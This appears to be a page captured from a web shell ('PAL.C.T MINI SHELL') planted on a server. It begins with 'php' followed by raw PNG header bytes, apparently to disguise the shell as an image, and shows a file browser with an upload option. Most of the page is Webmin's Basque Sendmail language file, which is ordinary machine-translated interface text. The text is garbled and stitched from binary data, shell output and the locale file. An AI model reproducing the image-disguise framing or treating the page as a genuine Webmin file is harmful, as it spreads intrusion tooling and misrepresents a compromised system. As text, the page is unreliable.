php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/eu.auto

index_title=Sendmail posta zerbitzaria
index_econfig=Sendmail konfigurazio fitxategia $1 ez da existitzen. Agian Sendmail ez dago instalatuta edo zure <a href='$2'>moduluaren konfigurazioa</a> okerra da.
index_eversion=Badirudi zure posta elektronikoko konfigurazio fitxategia ez dela bidali posta elektronikoko azken bertsioa. Webminek 8.8 eta ondorengo bertsioak bakarrik onartzen ditu.
index_epath=Sendmail exekutagarria $1 ez dago zure sisteman instalatuta. Agian zure <a href='$2'>moduluaren konfigurazioa</a> okerra da edo sendmail-a ez dago instalatuta.
index_return=sendmail konfigurazioa
index_stop=Bidali Sendmail
index_stopmsg=Egin klik botoi honetan sendmailen prozesua martxan jartzeko. Honek posta elektronikoa tokiko erabiltzaileei beste sistemetatik bidaltzea eragotziko du eta bezeroek sistema hau posta elektronikoko zerbitzari gisa mezuak bidaltzea eragotziko du.
index_start=Hasi Sendmail
index_startmsg=Egin klik botoi honetan sendmail $1 komandoarekin hasteko. Hori egin arte, ez da posta sistemarik erabiltzaile lokaletara bidaliko beste sistemetatik eta bezeroek ezin izango dute sistema hau posta zerbitzari gisa erabili.
index_version2=Sendmail $1 bertsioa, $2 konfiguratu
index_xversion=Sendmail $1 bertsioa
index_version=Sendmail konfigurazioa $1 
index_sendmail=Sendmail

opts_title=Sendmail aukerak
opts_ecannot=Ezin duzu bidali mezuen aukerak editatu
opts_ds=Bidali irteerako posta ostalariaren bidez
opts_direct=Bidali zuzenean
opts_dr=Birbidali gabeko izen erabiltzaileak ostalatzeko
opts_dh=Birbidali posta tokiko erabiltzaileei ostatu emateko
opts_local=Entregatu lokalean
opts_queuela=Bidaltzearen karga maximoaren batez bestekoa
opts_refusela=Jasotzeko kargaren batez bestekoa
opts_maxch=Haurraren prozesu maximoak
opts_throttle=Konexio maximoak / segundoan
opts_minqueueage=Bidali berriro saiatu aurretik denbora gutxien
opts_runsize=Gehieneko ilararen tamaina
opts_queuereturn=Denbora eman aurretik
opts_queuewarn=Abisua bidali aurretik denbora
opts_queue=Mail ilarako direktorioa
opts_postmaster=Bidali errore mezuak
opts_forward=Erabiltzaileak birbidaltzeko fitxategiak
opts_minfree=Disko libreko espazio min
opts_maxmessage=Mezuen tamaina maximoa
opts_loglevel=Erregistro maila
opts_mimebounce=MIME-kodetzeko errebote mezuak?
opts_default=Default
opts_save=Gorde eta aplikatu
opts_err=Ezin izan da aukerak gordetzea
opts_ehost='$1' ez da baliozko ostalari edo domeinu izena
opts_einvalid='$1' ez da baliozko '$2' baliorako
opts_blame=Fitxategien segurtasun aukerak
opts_selected=Hautatutako ..
opts_blocks=bloke
opts_bytes=byte
opts_dmode=Entregatzeko modua
opts_background=Aurrekariak
opts_queue-only=Ilara soilik
opts_interactive=Interactive
opts_deferred=Atzeratuta
opts_gecos=Onartu erabiltzaileen benetako izenetarako posta?
opts_hops=Gehieneko posta-saltoaren kopurua
opts_daemon=SMTP atariko aukerak
opts_maxbad=Gehienezko hartzaile txarrak
opts_maxrcpt=Gehienezko hartzaileak mezu bakoitzeko
opts_below=Jarraian idatzi
opts_qso=Ordenatu posta ilararen arabera
opts_priority=Lehentasuna
opts_host=hostname
opts_time=Jasotako denbora

aliases_title=Posta ezizenak
aliases_ecannot=Ezin duzu ezizenik editatu
aliases_enofile=Ez da aliasen fitxategia definitu zure Sendmail konfigurazioan
aliases_addr=Helbidea
aliases_to=Alias ..
aliases_type1=Helbidea 1
aliases_type2=Helbideak $1 fitxategian
aliases_type3=$1 fitxategia
aliases_type4=$1 programa
aliases_type5=$1 fitxategi automatikoki hornitzea
aliases_type6=Aplikatu $1 iragazkia
aliases_none=Bat ere ez
aliases_return=ezizenen zerrenda
aliases_toomany=Zure sisteman posta ezizen gehiegi daude orrialde honetan bistaratzeko.
aliases_go=Aurkitu ezarpenak bat datozenak:
aliases_delete=Ezabatu hautatutako ezizenak

aform_ecannot=Ezin duzu ezizenik editatu
aform_type0=Bat ere ez
aform_type1=Posta elektroniko helbidea
aform_type2=Helbideak fitxategian
aform_type3=Idatzi fitxategian
aform_type4=Programa elikatzeko
aform_type5=Autoreply fitxategitik
aform_type6=Aplikatu iragazkiaren fitxategia
aform_edit=Editatu ezizena
aform_create=Sortu ezizena
aform_name=Helbidea
aform_enabled=Gaituta?
aform_file=Gehitu ezizenen fitxategira
aform_val=Alias to
aform_afile=Editatu ..
aform_return=alias
aform_cmt=deskribapena

afile_title=Editatu helbide-fitxategia
afile_desc=Erabili beheko testu-eremua $1 fitxategiaren helbideak editatzeko.
afile_efile=Ezin duzu $1 editatu.
afile_undo=Aldaketak desegin
afile_ewrite=Huts egin du helbideen fitxategian idazteak : $1 

ffile_title=Editatu iragazkiaren fitxategia
ffile_desc=Erabili beheko formularioa $1 fitxategiaren arauak konfiguratzeko.
ffile_efile=Ezin duzu $1 editatu.
ffile_line=$1 eremuak $2 $3 bada $4 ra
ffile_from=batetik
ffile_to=to
ffile_subject=gaia
ffile_cc=CC
ffile_body=body
ffile_what0=ez dator bat
ffile_what1=partiduak
ffile_other=Bestela $1 birbidali
ffile_err=Ezin izan da iragazkiaren fitxategia gorde
ffile_ematch=Partida falta da
ffile_eaction=Birbidaltze helbidea falta da

rfile_title=Editatu automatikoki fitxategia
rfile_desc=Erabili beheko test eremua automatikoki bidaltzeko mezua $1 editatzeko. Mezuak $SUBJECT, $FROM, $TO, $DATE eta $BODY makroak izan ditzake, automatikoki hornitzen denean aktibatuko direnak.
rfile_desc2=Autoreplantean erabilitako lehenetsiak gehitu edo ordezkatzen dituzten posta-goiburuak ere ezar ditzakezu, honela lerroak jarriz: <br><tt> From: foo@bar.com </tt><br> <tt>Asunto: Oporretan</tt> <br> mezuaren goiko aldean, gorputzetik marra zuri bakar batez bereizita.
rfile_efile=Ezin duzu $1 editatu.
rfile_undo=Aldaketak desegin
rfile_replies=Jarraitu erantzunak posta-begiztak saihesteko?
rfile_none=Ez
rfile_file=Bai, log fitxategia erabiliz
rfile_period=Erantzunen arteko gutxieneko tartea
rfile_default=Lehenespenez (1 ordu)
rfile_secs=segundutan
rfile_ereplies=Falta zen erantzunaren jarraipen-fitxategiaren erregistroa
rfile_eperiod=Erantzunen artean segundo kopuru falta edo baliogabea
rfile_no_autoreply=Ez bidali autoreplia helbidera
rfile_no_regexp=Ez bidali auto-erantzunik erregexpsarekin bat datozen mezuetara
rfile_from=Noiz: erantzuteko helbidea
rfile_auto=Automatikoa (hartzailearen helbidean oinarrituta)
rfile_efrom=Falta da: helbidea
rfile_fromdesc=A From: helbidea beti zehaztu behar da posible den moduan, baliteke metodo automatikoa ez dela fidagarria.

asave_err=Huts egin du ezizena gordetzean
asave_ecannot2=Ezin duzu ezizenik editatu
asave_ecannot=Ezin duzu ezizenik editatu
asave_emax=Ezin duzu $1 alias baino gehiago sortu
asave_eaddr='$1' ez da baliozko helbide bat
asave_ealready=Lehendik dago '$1' ezizena
asave_ematch='$1' bat datorren aliasak sor ditzakezu bakarrik
asave_etype=Ezin duzu mota honetako aliasik sortu
asave_etype1='$1' ez da baliozko helbide elektronikoa
asave_etype2='$1' helbideen fitxategiak ez du balio edo ez da existitzen
asave_etype3='$1' ez da baliozko fitxategi-izena
asave_etype4='$1' ez da baliozko programa edo ez da existitzen
asave_etype5=Ez da baliozko autoreply '$1' fitxategia
asave_etype4none=Ez da programarik eman
asave_etype6="$1" iragazkiaren fitxategia ez da baliozkoa
asave_esame=Webmin saioa hasteko izen bera duen alias bat sortu besterik ez duzu onartzen

adelete_err=Ezin izan da ezizena ezabatu
adelete_enone=Ez da hautatu
adelete_ecannot=Ezin duzu $1 ezizena ezabatu

cws_title=Tokiko domeinuak
cws_ecannot=Ezin duzu tokiko domeinurik editatu
cws_domains=Zerbitzari honek kudeatzen dituen domeinuak
cws_desc1=$1 -erako posta alde batera utzita, sendmailak beheko testu-koadroan agertzen diren domeinu eta ostalarientzako tokiko bidalketa-mezua soilik onartuko du. Zure posta zerbitzariak posta elektronikoko domeinu ugari kudeatu nahi badituzu, formulario honetan zerrendatu beharko dira guztiak.
cws_desc2=Kontuan izan zerrendan domeinua sartzea soilik ez dela nahikoa. Gainera, ziurtatu behar duzu domeinuko DNS erregistroa dagoela eta zure sistemara seinalatzen duela.
cws_err=Huts egin du domeinu lokalak gordetzean
cws_ehost='$1' ez da baliozko ostalari edo domeinu izena
cws_eip='$1' IP helbidea da, ez domeinua

masq_title=Domeinuaren maskaratzea
masq_ecannot=Ezingo duzu maskaraderik konfiguratu
masq_domain=Maskarada domeinu gisa
masq_domains=Maskaratu beharreko domeinuak
masq_ndomains=Dominak ez maskaratzeko
masq_desc1=Behean domeinu bat ematen bada, sendmailak irteerako mezu guztien <tt>From</tt> helbidea aldatuko du domeinutik datozenak agertzeko. Horrez gain, beheko zerrendan ostalari edo domeinu batetik zure sistematik igarotzen diren mezu elektroniko guztiek ere <tt>From</tt> helbideak modu berean aldatuko dituzte. Kontuan izan hemen definitutako edozein domeinuzko maskaradak erabiltzaile jakin batzuentzat garatu daitezkeela <a href='$1'>Irteerako helbideak</a> orria erabiliz.
masq_desc2=Ezaugarri hau erabilgarria izan daiteke zure sistemako posta elektronikoa zure domeinuaren izenetik zure ostalariaren izena baino agertu nahi baduzu edo zure sistema posta elektronikoa erabiltzen duten beste ostalari batzuen posta-gunea bada.
masq_err=Huts egin du domeinuaren maskaratzea gordetzean
masq_edomain="$1" ez da baliozko domeinu gisa maskaratzeko
masq_ehost='$1' ez da baliozko ostalari edo domeinu izena
masq_eip='$1' IP helbidea da, ez domeinua

trusts_title=Erabiltzaile fidagarriak
trusts_ecannot=Ezin duzu fidatu erabiltzaileak editatu
trusts_users=Tokiko erabiltzaileek konfiantza sendmail bidez
trusts_desc=Tokiko erabiltzailea mezu elektronikoa bidaltzen saiatzen bada, sendmail-ek erabiltzaileari <tt>From:</tt> beste helbide bat ematea baino ez dio emango erabiltzailea beheko zerrendan badago. Murrizketa hau dago erabiltzaileek posta elektronikoa falsifikatzea <tt>From:</tt> iruzurrezko sistematik helbidera zuzentzeko.
trusts_err=Ezin izan da konfiantzazko erabiltzaileak gorde
trusts_euser='$1' ez da baliozko erabiltzailea

virtusers_title=Helbideen mapak
virtusers_ecannot=Ezin duzu helbideen mapak editatu
virtusers_efeature=Zure sendmail konfigurazioak ez du gaitutako helbideen mapak (<tt>virtuser</tt>) gaituta. <a href='$1'>Egin klik hemen</a> sendmail funtzioak konfiguratzeko.
virtusers_efile=Ez da $2 testu-fitxategia helbide-maparen datu basea eraiki. Agian, <a href='$3'>moduluaren konfigurazioa</a> aldatu behar duzu bide egokia erabiltzeko.
virtusers_createfile=Edo eginbide hau gaitu berri bada, <a href='$1'>egin klik hemen</a> fitxategia sortzeko.
virtusers_desc1=Helbideen mapak <a href='$1'>ezizenak</a> bezalakoak dira, baina posta elektronikoko domeinu ugari kudeatzen dituen sistema batentzat egokiagoak dira. Domeinu oso baterako posta helbide batera zuzentzeko erabil dezakete, izen bera duten erabiltzaileak domeinu desberdinetan kudeatzeko edo posta guztiak domeinu batetik bestera mapatzeko.
virtusers_desc2=Kontuan izan <a href='$1'>tokiko domeinuak</a> taulan sarrera bat izan behar duzula helbide-mapetarako erabilitako domeinuetarako, eta zure sistemara seinalatutako domeinu bakoitzeko DNS MX erregistro bat egon behar duela.
virtusers_for=Mail ..
virtusers_to=Bidali ..
virtusers_error=$1 errorea
virtusers_domain=$1 domeinua
virtusers_address=Helbidea 1
virtusers_cmt=deskribapena
virtusers_return=helbideen mapa zerrenda
virtusers_toomany=Zure sisteman helbide-mapen gehiegi daude orrialde honetan bistaratzeko.
virtusers_go=Aurkitu helbide-mapak datozenak:
virtusers_delete=Ezabatu hautatutako helbide-mapak

vform_edit=Editatu helbideen mapaketa
vform_create=Sortu helbide-mapak
vform_for=Posta
vform_address=Helbidea
vform_domain=Domain
vform_to=Bidali
vform_msg=mezua
vform_error=Itzulera errorea
vform_cmt=deskribapena
vform_err_nouser=Erabiltzaile hori ez
vform_err_nohost=Ez da horrelako ostalaririk
vform_err_unavailable=Ez dago erabilgarri
vform_err_tempfail=Aldi baterako hutsegitea
vform_err_protocol=Protokoloaren akatsa
vform_end=Mugitu amaierara
vform_ecannot=Ezin duzu helbideen mapak editatu

vsave_ecannot=Ezin duzu helbideen mapak editatu
vsave_ecannot2=Ezin duzu helbideen mapak editatu
vsave_emax=Ezin duzu $1 helbide-mapeketa baino gehiago sortu
vsave_err=Ezin izan da helbideen mapa gorde
vsave_efrom='$1' ez da baliozko helbide bat
vsave_efromdup='$1' helbidearen helbide-mapa zehaztuta dago jada
vsave_edom='$1' ez da baliozko domeinua
vsave_edomdup='$1' helbidearen helbide-mapa zehaztuta dago jada
vsave_ematch=Jatorri-helbidea ez dator bat '$1'
vsave_esame=Erabiltzaile-izenarentzako helbide-mapak sor ditzakezu soilik
vsave_ecannot3=Ezin duzu helbideetarako mapak sortu
vsave_eaddr='$1' ez da baliozko helbide bat
vsave_ecannot4=Ez duzu baimenik domeinuei mapak egitea
vsave_edomdom=Domeinu bat beste domeinu batera mapeatu daiteke
vsave_ecannot5=Ez duzu baimenik akats bat itzultzen duten mapak sortzeko

vdelete_err=Ezin izan da helbideen mapak ezabatu
vdelete_ecannot=Ezin duzu $1 mapak ezabatu

mailers_title=Domeinu bideratzea
mailers_cannot=Ezin duzu domeinuaren bideratzea editatu
mailers_edirective=Sendmail-en konfigurazio fitxategiak ez du domeinuen bideratzeetarako beharrezko zuzentaraurik.
mailers_efeature=Zure sendmail konfigurazioak ez du gaitutako domeinuaren bideratzea (<tt>mailertable</tt>) funtzioa gaituta. <a href='$1'>Egin klik hemen</a> sendmail funtzioak konfiguratzeko.
mailers_efile=Ez da $2 domeinuaren bideratze-datu basea eraiki $1 fitxategia. Agian, <a href='$3'>moduluaren konfigurazioa</a> aldatu behar duzu bide egokia erabiltzeko.
mailers_desc1=Domeinu bideratzeak posta-domeinura transferitzeko metodo berezi bat definitzeko modua eskaintzen du. Honek baliagarria izan daiteke zure sarea kanpotik iristen ez den posta zerbitzarietarako atebide bat bada edo domeinu jakin bateko posta guztiak beste zerbitzari batzuetara bideratu nahi badituzu.
mailers_desc2=<b>ez</b> <a href='$1'>tokiko domeinuen</a> zerrendan sarrera bat eduki behar duzu bideratutako domeinuetarako. Dena den, DNS MX erregistroa izan behar duzu zure sistemara seinalatutako aterako den edozein domeinutarako.
mailers_desc3=Era berean, <a href='$1'>errelebo-domeinuen</a> zerrendan sarrera bat beharko zenuke domeinu bakoitzeko.
mailers_for=Mail ..
mailers_delivery=Delivery
mailers_to=Bidali ..
mailers_return=domeinu bideratzeen zerrenda
mailers_delete=Ezabatu hautatutako domeinu bideak

mform_edit=Editatu ibilbidea
mform_create=Sortu Routing
mform_for=Posta
mform_host2=Ostalaria edo domeinua
mform_domain2=Ostalari guztiak domeinuan
mform_domain3=Domeinua eta bere ostalari guztiak
mform_delivery=Delivery
mform_to=Bidali
mform_ignore=Ezikusi MX SMTP emateagatik
mform_smtp=SMTP
mform_esmtp=SMTP hedatua
mform_smtp8=8 bit SMTP
mform_relay=SMTP erreleboa
mform_local=Tokiko erabiltzailea
mform_prog=Programa elikatzeko
mform_uucp=UUCp
mform_usenet=Bidali USENET-en
mform_fax=HylaFax
mform_pop=POP3
mform_procmail=Procmail
mform_mail11=DECnet posta11
mform_error=Akatsa
mform_ecannot=Ezin duzu domeinuaren bideratzea editatu

msave_ecannot=Ezin duzu domeinuaren bideratzea editatu
msave_err=Huts egin du domeinuaren bideratzea gordetzean
msave_edomain='$1' ez da baliozko ostalari edo domeinu bat
msave_edup='$1' domeinuaren bideratzea dagoeneko definituta dago

mdelete_err=Ezin izan da domeinuaren bideratzailea ezabatu
mdelete_ecannot=Ezin duzu $1 erako ibilbidea ezabatu

generics_title=Irteerako helbideak
generics_cannot=Ezin duzu irteerako helbideak editatu
generics_econfig=Sendmail-en konfigurazio fitxategiak ez du helbide-mapen irteerako beharrezko zuzentaraurik.
generics_efeature=Zure sendmail konfigurazioak ez du gaitutako irteerako helbideen mapak (<tt>generikoak</tt>) gaituta. <a href='$1'>Egin klik hemen</a> sendmail funtzioak konfiguratzeko.
generics_efile=Ez da existitzen $1 testu fitxategia $2 ko irteerako helbide-datu basea. Agian, <a href='$3'>moduluaren konfigurazioa</a> aldatu behar duzu bide egokia erabiltzeko.
generics_desc1=Irteerako helbideen mapak aukera ematen du <tt>From:</tt> bidalitako helbide elektronikoak zure sistematik edo sistemaren bidez zure sare lokaletako beste ostalarien bidez aldatzeko. Hau erabilgarria izan daiteke sistema batean domeinu ugari ostatatzen badituzu eta erabiltzaile batzuen posta elektronikoa beste domeinu batetik etorri nahi baduzu.
generics_desc2=Kontuan izan <a href='$1'>irteerako domeinuen</a> taulan sarrera bat izan behar duzula irteerako maparako egin nahi dituzun helbideak. Kontuan izan ere irteerako helbideen mapak ez duela balio tokiko erabiltzaileei entregatzeko.
generics_from=Posta ..
generics_to=Aldatu ..
generics_return=helbideen mapa zerrenda
generics_toomany=Zure sisteman irteerako helbide gehiegi daude orrialde honetan bistaratzeko.
generics_go=Aurkitu datozen helbideekin bat datozenak:
generics_delete=Ezabatu hautatutako irteerako helbideak

gform_edit=Editatu mapaketa
gform_create=Sortu mapeketa
gform_from=Posta bidez
gform_to=Aldatu
gform_ecannot=Ezin duzu irteerako helbide hau editatu

gsave_ecannot=Ezin duzu irteerako helbideak editatu
gsave_ecannot2=Ezin duzu irteerako helbide hau editatu
gsave_ecannot3=Ezin duzu irteerako helbide hau gorde
gsave_err=Huts egin du irteerako helbidea gordetzean
gsave_efrom='$1' ez da baliozko helbide batetik
gsave_ematch=Helbide elektronikoa ez dator bat '$1'
gsave_eto='$1' ez da baliozko helbide berria
gsave_ealready="$1" helbidearen irteera-helmuga dagoeneko

gdelete_err=Ezin izan da irteerako helbideen mapak ezabatu
gdelete_ecannot=Ezin duzu $1 mapak ezabatu

cgs_title=Irteerako domeinuak
cgs_ecannot=Ezin duzu irteerako domeinuak editatu
cgs_header=Irteerako helbide domeinuak
cgs_desc=Tokiko erabiltzaileek bidalitako mezuaz gain, sendmailak <a href='$1'>irteerako helbidea</a> soilik egingo du beheko testu-koadroan agertzen diren ostalari edo domeinuen mailarako. Horrela, helbide honetan domeinua lantzeko irteerako helbide bat zerrenda honetan sartu behar da.
cgs_err=Huts egin du irteerako domeinuak gordetzean
cgs_ehost='$1' ez da baliozko ostalari edo domeinu izena
cgs_eip='$1' IP helbidea da, ez domeinua

domains_title=Domeinu-mapak
domains_ecannot=Ezin duzu domeinuaren maparik editatu
domains_econfig=Sendmail-en konfigurazio fitxategiak ez du domeinuen mapaketarako beharrezko zuzentaraurik.
domains_efeature=Zure sendmail konfigurazioak ez du gaitutako domeinuaren mapak (<tt>domaintable</tt>) funtzioa gaituta. <a href='$1'>Egin klik hemen</a> sendmail funtzioak konfiguratzeko.
domains_efile=Ez dago $2 domeinuaren maparen datu basea eraikitzen duen testu fitxategia. Agian, <a href='$3'>moduluaren konfigurazioa</a> aldatu behar duzu bide egokia erabiltzeko.
domains_desc=Domeinu-mapak zure sistemako erabiltzaileek bidalitako, igorri edo entregatu dituzten mezuen helbidea <tt>To:</tt> aldatzen du. Tokiko erabiltzaileei erreproduzitutako mezuen edo <tt>From:</tt> helbidea ere aldatu egiten da. Erabilgarria izan daiteke zure domeinu izena aldatzen bada eta domeinu zaharreko agerraldi guztiak berrira aldatu nahi badituzu.
domains_from=Domeinutik ..
domains_to=Domeinura ..
domains_return=domeinu-mapen zerrenda
domains_delete=Ezabatu hautatutako domeinuaren mapak

dform_edit=Editatu mapaketa
dform_create=Sortu mapeketa
dform_from=Domeinutik
dform_to=Domeinura
dform_ecannot=Ezin duzu domeinuaren maparik editatu

dsave_ecannot=Ezin duzu domeinuaren maparik editatu
dsave_err=Ezin izan da domeinuaren mapa gordetzean
dsave_edomain='$1' ez da baliozko domeinu izena
dsave_ealready="$1" domeinuaren mapaketa badago

ddelete_err=Ezin izan da domeinuaren mapak ezabatu
ddelete_ecannot=Ezin duzu $1 mapak ezabatu

access_title=Spamaren kontrola
access_ecannot=Ezin duzu spam kontrolik konfiguratu
access_efeature=Zure sendmail konfigurazioak ez du gaituta dagoen spam kontrolaren (<tt>access_db</tt>) funtzioa gaituta. <a href='$1'>Egin klik hemen</a> sendmail funtzioak konfiguratzeko.
access_efile=Ez da $1 testu fitxategia $2 zabaltzen den spam kontrol datu basea. Agian, <a href='$3'>moduluaren konfigurazioa</a> aldatu behar duzu bide egokia erabiltzeko.
access_desc1=Sendmail-en spam kontrol funtzioak ahalbidetzen du spam-a zure erabiltzaileengana iristea ekidin posta elektronikoa zenbait helbideetatik baztertuz eta spammers-ek zure sistema erabiltzea eragotzi ez diezaioten posta elektronikorik kentzeko. Berez, sendmailak posta elektronikoa onartuko du edozein erabiltzaileren helbide lokaletik, baina eragotziko du bezero edo posta zerbitzari batek zure sistemaren bidez mezuak ikustea. Normalean spama kontrolatzeko arauak gehituko zenituzke spammersen mezua baztertzeko, eta zure sareko beste makinek zure sistemaren bidez mezuak erreproduzitzeko baimentzeko arauak.
access_desc2=Kontuan izan sendmailak zure sisteman exekutatzen diren posta elektronikoko bezeroek SMTP bidez edozein helmugara igorri ahal izango dutela. Beraz, ez da beharrezkoa tokiko <tt>127.0.0</tt> sarea gehitzea erreleboetarako baimendutakoen zerrendara.
access_source=Iturria ..
access_action=Ekintza ..
access_return=spam kontrol zerrenda
access_toomany=Zure sisteman spam kontrol arauak gehiegi daude orri honetan bistaratzeko.
access_go=Aurkitu spam-arauak bat datozenak:
access_delete=Ezabatu hautatutako Spama kontrolatzeko arauak

sform_edit=Editatu Spam Kontrolatzeko Araua
sform_create=Sortu Spam Kontrolerako Araua
sform_source=Posta iturria
sform_type0=Posta elektroniko helbidea
sform_type1=Sarea
sform_type2=Erabiltzaileak
sform_type3=Domain
sform_tag=Partidua aurka
sform_tag_=Dena
sform_tag_from=Nondik: helbidea
sform_tag_to=Helbidera
sform_tag_connect=Konexio informazioa
sform_tag_spam=Spam informazioa
sform_action=Ekintza
sform_ok=Onartu
sform_relay=Baimendu erreleboa
sform_reject=Ukatu
sform_discard=Baztertu isilean
sform_err=Errorea kodea
sform_msg=Mezua
sform_ecannot=Ezin duzu spama kontrolatzeko arau hau editatu

ssave_err=Huts egin du spam kontrolaren araua gordetzean
ssave_etype0='$1' ez da baliozko helbide bat
ssave_etype1='$1' ez da baliozko sareko helbidea
ssave_etype2='$1' ez da baliozko erabiltzaile izena
ssave_etype3='$1' ez da baliozko domeinua
ssave_ecode='$1' ez da baliozko SMTP errore kodea
ssave_ealready=Lehendik dago $1 'spam kontrolerako araua
ssave_ecannot2=Ezin duzu spam kontrol araua gorde

sdelete_err=Ezin izan da spam kontroleko arauak ezabatu
sdelete_ecannot=Ezin duzu $1 araua ezabatu

relay_title=Errele domeinuak
relay_ecannot=Ezin duzu errele domeinuak editatu
relay_eversion=Sendmail domeinuen funtzioa onartzen dute bakarrik 8.9 eta aurreko bertsioek.
relay_domains=Erreleboa baimentzen duten domeinuak
relay_desc1=<a href='$1'>spam kontrola</a> arauak onartzen ez badu, sendmailak beheko testu koadroan zerrendatutako domeinuei erreproduzitzea baimendu besterik ez du egingo. Tokiko erabiltzaile batentzat ez eta zerrendatutako domeinuko bat ez den mezu elektroniko bat jasotzen bada, ez da onartuko.
relay_desc2=Zure sistema zuzenean sarera kanpoko sarbide zuzena ez duen hainbat domeinutarako erabiltzen bada (<a href='$1'>domeinuaren bideratze</a> funtzioa erabiliz), orduan domeinu guztiak hemen zerrendatu beharko lirateke.
relay_err=Huts egin du errelebo-domeinuak gordetzean
relay_edomain='$1' ez da baliozko domeinu izena

mailq_title=Posta ilara
mailq_count=$1 mezuak
mailq_ecannot=Ezin duzu posta-ilaran ikusi
mailq_id=Mail ID
mailq_sent=bidalia
mailq_from=aurrera
mailq_to=to
mailq_size=Tamaina
mailq_status=Egoera
mailq_cc=cc
mailq_subject=Gaia
mailq_dir=Directory
mailq_unknown=ezezaguna
mailq_sending=bidaltzea
mailq_dmsg=Mezuen ilaratik mezu bat ikusteko, egin klik goiko IDan bere IDan.
mailq_force=Posta ilaranak berehala entregatzeko behartzeko, <a href='$1'>egin klik hemen</a>.
mailq_none=Oraindik ez dago posta mezuen ilaran entrega egiteko
mailq_delete=Ezabatu hautatutako mezuak
mailq_locked=Blokeatuta badago ere
mailq_return=posta ilara
mailq_flush=Osatu Mail ilara
mailq_flushsel=Hautatutako mezuak hustu
mailq_flushdesc=Egin klik botoi honetan ilaran dauden mezu guztiak berehala entregatzeko eta emaitzak bistaratzeko.
mailq_flushquar=Isuri kuantxa ilara
mailq_flushquardesc=Egin klik botoi honetan berrogeialdian dauden mezuak ilaran soilik entregatzeko.
mailq_search=Bilatu ilaran dauden mezuak non
mailq_quar=Berrogeialdian
mailq_refresh=Eguneratu posta ilara
mailq_refreshdesc=Kargatu orri hau posta-ilarako uneko egoera erakusteko.

flushq_title=Erraza ilara
flushq_desc=Mezu guztiak bidaltzeko saiakera behartuta $1 ..
flushq_desc2=Hautatutako $1 mezuen bidalketa behartuta ..
flushq_ecannot=Ezin duzu posta-ilaran hustu

searchq_title=Ilaren bilaketaren emaitzak
searchq_none=Ez da ilaran mezurik aurkitu.

delq_err=Ezin izan da mezua ezabatu
delq_ecannot=Ezin duzu mezuak kendu
delq_locked=Une honetan fitxategia blokeatuta dago bidaltzeko
delq_enone=Ez da mezurik hautatuta ezabatzeko
delq_titles=Mezuak ezabatzen
delq_file=$1 posta elektronikoa ezabatzen ..
delq_efile=fitxategi-izen baliogabea!
delq_egone=dagoeneko ezabatu edo entregatu
delq_elocked=bidaltzeko blokeatuta dago
delq_ok=ondo ezabatu
delq_title=Ezabatu mezua
delq_force=Indargabetzea ere hala ere
delq_ecannot2=Ezin duzu mezu hau ezabatu
delq_rusure=Ziur zaude $1 hautatutako ilarako mezuak ezabatu nahi dituzula?
delq_confirm=Ezabatu mezuak

boxes_title=Erabiltzaileen postontziak
boxes_user=Erabiltzaileak
boxes_size=Postontzien tamaina
boxes_none=Ez dago posta
boxes_return=postontzi
boxes_sent=Bidalitako mezuak
boxes_ecannot=Ezin duzu mezu elektronikoa irakurri
boxes_toomany=Erabiltzaile gehiegi daude zure sisteman postontzi guztiak zerrendatzeko.
boxes_go=Ikusi mezua erabiltzailearentzat:

mail_title=Erabiltzailearen helbide elektronikoa
mail_from=aurrera
mail_date=data
mail_subject=Gaia
mail_to=to
mail_cc=cc
mail_bcc=Bcc
mail_pri=Lehentasuna
mail_highest=Highest
mail_high=High
mail_normal=normal
mail_low=Behe
mail_lowest=baxuena
mail_for=$1 ean
mail_for2=$1 erabiltzailearentzat
mail_sent=Bidalitako posta-zerrendan
mail_size=Tamaina
mail_delete=Ezabatu
mail_compose=Idatzi
mail_return=erabiltzailearen postontzia
mail_pos=$1 eta $2 mezuak $3 
mail_none=Postontzi honek ez du mezurik
mail_euserexists=Unix-eko erabiltzaile hau ez da existitzen
mail_ecannot=Ez duzu baimenik erabiltzaile honen mezu elektronikoa irakurtzeko
mail_all=Hautatu guztiak
mail_invert=Alderantzizko hautapena
mail_search=Bilatu non mezuak
mail_body=Gorputzeko
mail_match=partiduak
mail_ok=Search
mail_nonefrom=Bat ere ez
mail_mark=Markatu:
mail_mark0=Irakurri gabeko
mail_mark1=Irakurri
mail_mark2=Berezia
mail_forward=Aurrera
mail_move=Mugitu:
mail_copy=Kopiatu:
mail_rfc=Lerrotik
mail_eexists=Mezua ez da jada!

view_title=Irakurri posta elektronikoa
view_desc=$1 mezua $2 an
view_desc2=$1 mezua $2 erabiltzailearentzat
view_desc3=$1 mezua
view_sent=Bidalitako posta zerrendan $1 mezua
view_qdesc=$1 mezuko ilaran
view_headers=Posta goiburuak
view_body=Mezuaren testua
view_allheaders=Ikusi goiburu guztiak
view_noheaders=Ikusi oinarrizko goiburuak
view_attach=eranskinak
view_reply=Erantzun
view_reply2=Guztiei erantzun
view_enew=Editatu berria gisa
view_forward=Aurrera
view_delete=Ezabatu
view_flush=Hustu
view_print=Inprimatu
view_strip=Kendu Eranskinak
view_ecannot=Ez duzu baimenik erabiltzaile honen mezu elektronikoa irakurtzeko
view_mark=Markatu mezua honela:
view_mark0=Irakurri gabeko
view_mark1=Irakurri
view_mark2=Berezia
view_return=jatorrizko posta elektronikoa
view_sub=Erantsitako posta elektronikoa
view_egone=Mezu hau ez dago jada
view_afile=Eranskinaren izena
view_atype=Eranskin mota
view_aname=Eranskina
view_asize=Fitxategiaren tamaina

compose_title=Idatzi posta elektronikoa
reply_title=Erantzun Posta elektronikora
forward_title=Birbidali posta elektronikoa
enew_title=Editatu helbide elektronikoa
reply_headers=Posta goiburuak
reply_attach=Birbidaliko eranskinak
reply_mailforward=Birbidalitako mezuak
reply_attach2=Bezeroaren eta zerbitzariaren alboko eranskinak
reply_send=Bidali Posta
reply_ecannot=Erabiltzaile gisa ezin duzu posta elektronikoz bidali
reply_body=Mezuaren testua

send_err=Ezin izan da posta bidaltzean huts egin
send_eto=Falta helbidean
send_efrom=Helbidea ez da falta
send_title=Posta bidalita
send_ok=Posta $1 era bidali da
